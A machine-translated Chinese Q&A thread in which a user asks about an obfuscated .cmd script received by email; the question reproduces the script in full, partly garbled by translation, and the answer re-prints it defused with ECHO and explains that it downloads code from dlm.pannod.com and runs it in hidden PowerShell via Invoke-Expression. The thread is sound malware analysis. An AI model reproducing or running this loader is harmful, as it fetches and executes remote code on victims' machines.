通过电子邮件发送的奇怪的 cmd 加密脚本

Question

今天我收到了一些非常有趣的东西。它是一个带有加密命令的 .cmd 脚本。谁能告诉我这是什么加密方式？可以解密吗？或者windows如何读取这种类型的命令？
我在我的 Win7 VM 中执行了这段代码，但什么也没发生。我寻找了一些奇怪的东西，比如服务、进程或环境变量……一切看起来都很好

！@回响
CD的％SystemRoot％\ System32下
设置uQmFERgK = GFYpgWoTABQSI5bRJVKaHwNjcO1tPlf8k4zMv3dsUeXqEZxDCi62L09u7nrmyh
设置JD = W ^ I ^Ñ
设置beoxNuYr = ^ d ^ O ^瓦特
组fSUXCI = ^ SPO
设置XFY = ^我们^ R
组NKHoDvv =她
设定DdAvVw = ^ l^l\
设置 BnCCBy=v^1^。
set xuuyxYlz=^0^\p^o
set zEonzEj=^w^e
set nqfsDHhb=r^sh
set tsaNePh=el^l
set qIrKO=^.e^x
set qlLkftpA=^e -^n
set pZckbH=op^
设置 MrCpkeh=-w
设置 kGm=^i^n ^1^ -
设置日期=%uQmFERgK:~49,1%%uQmFERgK:~44,1%%uQmFERgK:~42,1%
(^"%uQmFERgK:~ 12,1%%uQmFERgK:~44,1%%uQmFERgK:~42,1%
(%uQmFERgK:~22,1%%uQmFERgK:~44,1%%uQmFERgK:~5,1%-%uQmFERgK:~25,1%%uQmFERgK:~9,1%%uQmFERgK:~16,1% %uQmFERgK:~41,1%%uQmFERgK:~24,1%%uQmFERgK:~7,1% %uQmFERgK:~22,1%%uQmFERgK:~41,1%%uQmFERgK:~27,1%.% uQmFERgK:~21,1%%uQmFERgK:~41,1%%uQmFERgK:~9,1%%uQmFERgK:~48,1%%uQmFERgK:~52,1%%uQmFERgK:~12,1%%uQmFERgK:~ ~44,1%%uQmFERgK:~57,1%%uQmFERgK:~27,1%).%uQmFERgK:~38,1%%uQmFERgK:~25,1%%uQmFERgK:~21,1%%uQmFERgK: ~22,1%%uQmFERgK:~52,1%%uQmFERgK:~6,1%%uQmFERgK:~8,1%%uQmFERgK:~38,1%%uQmFERgK:~11,1%%uQmFERgK:~7 ,1%%uQmFERgK:~15,1%%uQmFERgK:~49,1%%uQmFERgK:~57,1%%uQmFERgK:~4,1%('%uQmFERgK:~61,1%%uQmFERgK:~27 ,1%%uQmFERgK:~27,1%%uQmFERgK:~3,1%%uQmFERgK:~39,1%://%uQmFERgK:~38,1%%uQmFERgK:~29,1%%uQmFERgK:~ 59,1%.%uQmFERgK:~3,1%%uQmFERgK:~19,1%%uQmFERgK:~57,1%%uQmFERgK:~57,1%%uQmFERgK:~6,1%%uQmFERgK:~38 ,1%.%uQmFERgK:~24,1%%uQmFERgK:~6,1%%uQmFERgK:~59,1%/?%uQmFERgK:~38,1%%uQmFERgK:~5,1%%uQmFERgK:~9,1%%uQmFERgK:~32,1%%uQmFERgK:~55,1%%uQmFERgK:~4,1%%uQmFERgK:~25,1% %uQmFERgK:~8,1%%uQmFERgK:~2,1%%uQmFERgK:~50,1%%uQmFERgK:~35,1%%uQmFERgK:~52,1%/%uQmFERgK:~16,1%% uQmFERgK:~27,1%%uQmFERgK:~9,1%%uQmFERgK:~41,1%%uQmFERgK:~31,1%%uQmFERgK:~3,1%%uQmFERgK:~18,1%%uQmFERgK: ~7,1%%uQmFERgK:~35,1%%uQmFERgK:~48,1%%uQmFERgK:~11,1%%uQmFERgK:~4,1%%uQmFERgK:~3,1%%uQmFERgK:~15 ,1%%uQmFERgK:~41,1%%uQmFERgK:~17,1%%uQmFERgK:~42,1%%uQmFERgK:~61,1%%uQmFERgK:~45,1%+%uQmFERgK:~43, 1%%uQmFERgK:~48,1%%uQmFERgK:~23,1%%uQmFERgK:~2,1%%uQmFERgK:~42,1%%uQmFERgK:~21,1%%uQmFERgK:~61,1% %uQmFERgK:~41,1%%uQmFERgK:~20,1%%uQmFERgK:~30,1%%uQmFERgK:~39,1%%uQmFERgK:~48,1%%uQmFERgK:~12,1%%uQmFERg :~52,1%%uQmFERgK:~42,1%%uQmFERgK:~19,1%%uQmFERgK:~37,1%%uQmFERgK:~1,1%%uQmFERgK:~23,1%%uQmFERgK:~ 37,1%%uQmFERgK:~21,1%%uQmFERgK:~6,1%%uQmFERgK:~57,1%%uQmFERgK:~38,1%%uQmFERgK:~23,1%%uQmFERgK:~31,1%%uQmFERgK:~60,1%%uQmFERgK:~15,1%%uQmFERgK:~25,1%%uQmFERgK:~11,1% %uQmFERgK:~39,1%%uQmFERgK:~25,1%%uQmFERgK:~11,1%%uQmFERgK:~25,1%%uQmFERgK:~43,1%%uQmFERgK:~23,1%%uQmFERg :~58,1%%uQmFERgK:~23,1%%uQmFERgK:~14,1%%uQmFERgK:~25,1%%uQmFERgK:~5,1%%uQmFERgK:~55,1%%uQmFERgK:~ 58,1%%uQmFERgK:~52,1%%uQmFERgK:~22,1%%uQmFERgK:~7,1%%uQmFERgK:~36,1%%uQmFERgK:~12,1%G%uQmFERgK:~8 ,1%%uQmFERgK:~19,1%%uQmFERgK:~8,1%%uQmFERgK:~6,1%%uQmFERgK:~17,1%%uQmFERgK:~21,1%%uQmFERgK:~37,1 %%uQmFERgK:~32,1%%uQmFERgK:~47,1%%uQmFERgK:~31,1%%uQmFERgK:~51,1%/%uQmFERgK:~5,1%%uQmFERgK:~58,1% %uQmFERgK:~12,1%%uQmFERgK:~28,1%%uQmFERgK:~8,1%%uQmFERgK:~14,1%%uQmFERgK:~37,1%%uQmFERgK:~17,1%%uQmFERg :~35,1%%uQmFERgK:~26,1%%uQmFERgK:~8,1%%uQmFERgK:~24,1%%uQmFERgK:~30,1%%uQmFERgK:~3,1%%uQmFERgK:~ 23,1%%uQmFERgK:~29,1%%uQmFERgK:~21,1%%uQmFERgK:~3,1%')^");
回声%%日期%% | %JD%%beoxNuYr%%fSUXCI%%XFY%%NKHoDvv%%DdAvVw%%BnCCBy%%xuuyxYlz%%zEonzEj%%nqfsDHhb%%tsaNePh%%qIrKO%%qlLkftpA%%pZkrGm

Answer 1

为了对代码进行反混淆（假设可能不完整和稍微有点混乱），您可以在运行之前对其进行调整，以便仅显示任何危险的操作而不是运行它们

• 使用ECHO命令，和/或
• 转义 所有重定向（一些cmd有毒字符）

如以下带注释的代码片段所示：

@echo off
ECHO cd %SystemRoot%\System32
::   ?? there is nothing to do in the "%SystemRoot%\System32" folder  
set uQmFERgK=GFYpgWoTABQSI5bRJVKaHwNjcO1tPlf8k4zMv3dsUeXqEZxDCi62L09u7nrmyh
set JD=W^i^n
set beoxNuYr=^d^o^w
set fSUXCI=^sPo
set XFY=^we^r
set NKHoDvv=She
set DdAvVw=^l^l\
set BnCCBy=v^1^.
set xuuyxYlz=^0^\p^o
set zEonzEj=^w^e
set nqfsDHhb=r^sh
set tsaNePh=el^l
set qIrKO=^.e^x
set qlLkftpA=^e -^n
set pZckbH=op^ 
set MrCpkeh=-w
set kGm=^i^n ^1^ -
ECHO set date=%uQmFERgK:~49,1%%uQmFERgK:~44,1%%uQmFERgK:~42,1% (^"%uQmFERgK:~12,1%%uQmFERgK:~44,1%%uQmFERgK:~42,1% (%uQmFERgK:~22,1%%uQmFERgK:~44,1%%uQmFERgK:~5,1%-%uQmFERgK:~25,1%%uQmFERgK:~9,1%%uQmFERgK:~16,1%%uQmFERgK:~41,1%%uQmFERgK:~24,1%%uQmFERgK:~7,1% %uQmFERgK:~22,1%%uQmFERgK:~41,1%%uQmFERgK:~27,1%.%uQmFERgK:~21,1%%uQmFERgK:~41,1%%uQmFERgK:~9,1%%uQmFERgK:~48,1%%uQmFERgK:~52,1%%uQmFERgK:~12,1%%uQmFERgK:~44,1%%uQmFERgK:~57,1%%uQmFERgK:~27,1%).%uQmFERgK:~38,1%%uQmFERgK:~25,1%%uQmFERgK:~21,1%%uQmFERgK:~22,1%%uQmFERgK:~52,1%%uQmFERgK:~6,1%%uQmFERgK:~8,1%%uQmFERgK:~38,1%%uQmFERgK:~11,1%%uQmFERgK:~7,1%%uQmFERgK:~15,1%%uQmFERgK:~49,1%%uQmFERgK:~57,1%%uQmFERgK:~4,1%('%uQmFERgK:~61,1%%uQmFERgK:~27,1%%uQmFERgK:~27,1%%uQmFERgK:~3,1%%uQmFERgK:~39,1%://%uQmFERgK:~38,1%%uQmFERgK:~29,1%%uQmFERgK:~59,1%.%uQmFERgK:~3,1%%uQmFERgK:~19,1%%uQmFERgK:~57,1%%uQmFERgK:~57,1%%uQmFERgK:~6,1%%uQmFERgK:~38,1%.%uQmFERgK:~24,1%%uQmFERgK:~6,1%%uQmFERgK:~59,1%/?%uQmFERgK:~38,1%%uQmFERgK:~5,1%%uQmFERgK:~9,1%%uQmFERgK:~32,1%%uQmFERgK:~55,1%%uQmFERgK:~4,1%%uQmFERgK:~25,1%%uQmFERgK:~8,1%%uQmFERgK:~2,1%%uQmFERgK:~50,1%%uQmFERgK:~35,1%%uQmFERgK:~52,1%/%uQmFERgK:~16,1%%uQmFERgK:~27,1%%uQmFERgK:~9,1%%uQmFERgK:~41,1%%uQmFERgK:~31,1%%uQmFERgK:~3,1%%uQmFERgK:~18,1%%uQmFERgK:~7,1%%uQmFERgK:~35,1%%uQmFERgK:~48,1%%uQmFERgK:~11,1%%uQmFERgK:~4,1%%uQmFERgK:~3,1%%uQmFERgK:~15,1%%uQmFERgK:~41,1%%uQmFERgK:~17,1%%uQmFERgK:~42,1%%uQmFERgK:~61,1%%uQmFERgK:~45,1%+%uQmFERgK:~43,1%%uQmFERgK:~48,1%%uQmFERgK:~23,1%%uQmFERgK:~2,1%%uQmFERgK:~42,1%%uQmFERgK:~21,1%%uQmFERgK:~61,1%%uQmFERgK:~41,1%%uQmFERgK:~20,1%%uQmFERgK:~30,1%%uQmFERgK:~39,1%%uQmFERgK:~48,1%%uQmFERgK:~12,1%%uQmFERgK:~52,1%%uQmFERgK:~42,1%%uQmFERgK:~19,1%%uQmFERgK:~37,1%%uQmFERgK:~1,1%%uQmFERgK:~23,1%%uQmFERgK:~37,1%%uQmFERgK:~21,1%%uQmFERgK:~6,1%%uQmFERgK:~57,1%%uQmFERgK:~38,1%%uQmFERgK:~23,1%%uQmFERgK:~31,1%%uQmFERgK:~60,1%%uQmFERgK:~15,1%%uQmFERgK:~25,1%%uQmFERgK:~11,1%%uQmFERgK:~39,1%%uQmFERgK:~25,1%%uQmFERgK:~11,1%%uQmFERgK:~25,1%%uQmFERgK:~43,1%%uQmFERgK:~23,1%%uQmFERgK:~58,1%%uQmFERgK:~23,1%%uQmFERgK:~14,1%%uQmFERgK:~25,1%%uQmFERgK:~5,1%%uQmFERgK:~55,1%%uQmFERgK:~58,1%%uQmFERgK:~52,1%%uQmFERgK:~22,1%%uQmFERgK:~7,1%%uQmFERgK:~36,1%%uQmFERgK:~12,1%G%uQmFERgK:~8,1%%uQmFERgK:~19,1%%uQmFERgK:~8,1%%uQmFERgK:~6,1%%uQmFERgK:~17,1%%uQmFERgK:~21,1%%uQmFERgK:~37,1%%uQmFERgK:~32,1%%uQmFERgK:~47,1%%uQmFERgK:~31,1%%uQmFERgK:~51,1%/%uQmFERgK:~5,1%%uQmFERgK:~58,1%%uQmFERgK:~12,1%%uQmFERgK:~28,1%%uQmFERgK:~8,1%%uQmFERgK:~14,1%%uQmFERgK:~37,1%%uQmFERgK:~17,1%%uQmFERgK:~35,1%%uQmFERgK:~26,1%%uQmFERgK:~8,1%%uQmFERgK:~24,1%%uQmFERgK:~30,1%%uQmFERgK:~3,1%%uQmFERgK:~23,1%%uQmFERgK:~29,1%%uQmFERgK:~21,1%%uQmFERgK:~3,1%')^");
::   ??? ???? volatile environment variable "date" contains current system date
ECHO echo %%date%% ^| %JD%%beoxNuYr%%fSUXCI%%XFY%%NKHoDvv%%DdAvVw%%BnCCBy%%xuuyxYlz%%zEonzEj%%nqfsDHhb%%tsaNePh%%qIrKO%%qlLkftpA%%pZckbH%%MrCpkeh%%kGm%
::                 ?? escape the pipe operator

结果代码：

@echo off
ECHO cd %SystemRoot%\System32
::   ?? there is nothing to do in the "%SystemRoot%\System32" folder  
set uQmFERgK=GFYpgWoTABQSI5bRJVKaHwNjcO1tPlf8k4zMv3dsUeXqEZxDCi62L09u7nrmyh
set JD=W^i^n
set beoxNuYr=^d^o^w
set fSUXCI=^sPo
set XFY=^we^r
set NKHoDvv=She
set DdAvVw=^l^l\
set BnCCBy=v^1^.
set xuuyxYlz=^0^\p^o
set zEonzEj=^w^e
set nqfsDHhb=r^sh
set tsaNePh=el^l
set qIrKO=^.e^x
set qlLkftpA=^e -^n
set pZckbH=op^ 
set MrCpkeh=-w
set kGm=^i^n ^1^ -
ECHO set date=%uQmFERgK:~49,1%%uQmFERgK:~44,1%%uQmFERgK:~42,1% (^"%uQmFERgK:~12,1%%uQmFERgK:~44,1%%uQmFERgK:~42,1% (%uQmFERgK:~22,1%%uQmFERgK:~44,1%%uQmFERgK:~5,1%-%uQmFERgK:~25,1%%uQmFERgK:~9,1%%uQmFERgK:~16,1%%uQmFERgK:~41,1%%uQmFERgK:~24,1%%uQmFERgK:~7,1% %uQmFERgK:~22,1%%uQmFERgK:~41,1%%uQmFERgK:~27,1%.%uQmFERgK:~21,1%%uQmFERgK:~41,1%%uQmFERgK:~9,1%%uQmFERgK:~48,1%%uQmFERgK:~52,1%%uQmFERgK:~12,1%%uQmFERgK:~44,1%%uQmFERgK:~57,1%%uQmFERgK:~27,1%).%uQmFERgK:~38,1%%uQmFERgK:~25,1%%uQmFERgK:~21,1%%uQmFERgK:~22,1%%uQmFERgK:~52,1%%uQmFERgK:~6,1%%uQmFERgK:~8,1%%uQmFERgK:~38,1%%uQmFERgK:~11,1%%uQmFERgK:~7,1%%uQmFERgK:~15,1%%uQmFERgK:~49,1%%uQmFERgK:~57,1%%uQmFERgK:~4,1%('%uQmFERgK:~61,1%%uQmFERgK:~27,1%%uQmFERgK:~27,1%%uQmFERgK:~3,1%%uQmFERgK:~39,1%://%uQmFERgK:~38,1%%uQmFERgK:~29,1%%uQmFERgK:~59,1%.%uQmFERgK:~3,1%%uQmFERgK:~19,1%%uQmFERgK:~57,1%%uQmFERgK:~57,1%%uQmFERgK:~6,1%%uQmFERgK:~38,1%.%uQmFERgK:~24,1%%uQmFERgK:~6,1%%uQmFERgK:~59,1%/?%uQmFERgK:~38,1%%uQmFERgK:~5,1%%uQmFERgK:~9,1%%uQmFERgK:~32,1%%uQmFERgK:~55,1%%uQmFERgK:~4,1%%uQmFERgK:~25,1%%uQmFERgK:~8,1%%uQmFERgK:~2,1%%uQmFERgK:~50,1%%uQmFERgK:~35,1%%uQmFERgK:~52,1%/%uQmFERgK:~16,1%%uQmFERgK:~27,1%%uQmFERgK:~9,1%%uQmFERgK:~41,1%%uQmFERgK:~31,1%%uQmFERgK:~3,1%%uQmFERgK:~18,1%%uQmFERgK:~7,1%%uQmFERgK:~35,1%%uQmFERgK:~48,1%%uQmFERgK:~11,1%%uQmFERgK:~4,1%%uQmFERgK:~3,1%%uQmFERgK:~15,1%%uQmFERgK:~41,1%%uQmFERgK:~17,1%%uQmFERgK:~42,1%%uQmFERgK:~61,1%%uQmFERgK:~45,1%+%uQmFERgK:~43,1%%uQmFERgK:~48,1%%uQmFERgK:~23,1%%uQmFERgK:~2,1%%uQmFERgK:~42,1%%uQmFERgK:~21,1%%uQmFERgK:~61,1%%uQmFERgK:~41,1%%uQmFERgK:~20,1%%uQmFERgK:~30,1%%uQmFERgK:~39,1%%uQmFERgK:~48,1%%uQmFERgK:~12,1%%uQmFERgK:~52,1%%uQmFERgK:~42,1%%uQmFERgK:~19,1%%uQmFERgK:~37,1%%uQmFERgK:~1,1%%uQmFERgK:~23,1%%uQmFERgK:~37,1%%uQmFERgK:~21,1%%uQmFERgK:~6,1%%uQmFERgK:~57,1%%uQmFERgK:~38,1%%uQmFERgK:~23,1%%uQmFERgK:~31,1%%uQmFERgK:~60,1%%uQmFERgK:~15,1%%uQmFERgK:~25,1%%uQmFERgK:~11,1%%uQmFERgK:~39,1%%uQmFERgK:~25,1%%uQmFERgK:~11,1%%uQmFERgK:~25,1%%uQmFERgK:~43,1%%uQmFERgK:~23,1%%uQmFERgK:~58,1%%uQmFERgK:~23,1%%uQmFERgK:~14,1%%uQmFERgK:~25,1%%uQmFERgK:~5,1%%uQmFERgK:~55,1%%uQmFERgK:~58,1%%uQmFERgK:~52,1%%uQmFERgK:~22,1%%uQmFERgK:~7,1%%uQmFERgK:~36,1%%uQmFERgK:~12,1%G%uQmFERgK:~8,1%%uQmFERgK:~19,1%%uQmFERgK:~8,1%%uQmFERgK:~6,1%%uQmFERgK:~17,1%%uQmFERgK:~21,1%%uQmFERgK:~37,1%%uQmFERgK:~32,1%%uQmFERgK:~47,1%%uQmFERgK:~31,1%%uQmFERgK:~51,1%/%uQmFERgK:~5,1%%uQmFERgK:~58,1%%uQmFERgK:~12,1%%uQmFERgK:~28,1%%uQmFERgK:~8,1%%uQmFERgK:~14,1%%uQmFERgK:~37,1%%uQmFERgK:~17,1%%uQmFERgK:~35,1%%uQmFERgK:~26,1%%uQmFERgK:~8,1%%uQmFERgK:~24,1%%uQmFERgK:~30,1%%uQmFERgK:~3,1%%uQmFERgK:~23,1%%uQmFERgK:~29,1%%uQmFERgK:~21,1%%uQmFERgK:~3,1%')^");
::   ??? ???? volatile environment variable "date" contains current system date
ECHO echo %%date%% ^| %JD%%beoxNuYr%%fSUXCI%%XFY%%NKHoDvv%%DdAvVw%%BnCCBy%%xuuyxYlz%%zEonzEj%%nqfsDHhb%%tsaNePh%%qIrKO%%qlLkftpA%%pZckbH%%MrCpkeh%%kGm%
::                 ?? escape the pipe operator

表明这是一种尝试

• 下载一些代码的https://dlm.pannod.com/，并
• 使用Invoke-Expressioncmdlet在 Windows Powershell 中运行该代码（请参阅IEX别名）：

更多资源（必读，不完整）：

• （命令参考）Windows CMD命令行的AZ索引
• （附加特性）Windows CMD Shell 命令行语法
• （%uQmFERgK:~49,1%等）提取变量的一部分（子字符串）
• 变量编辑/替换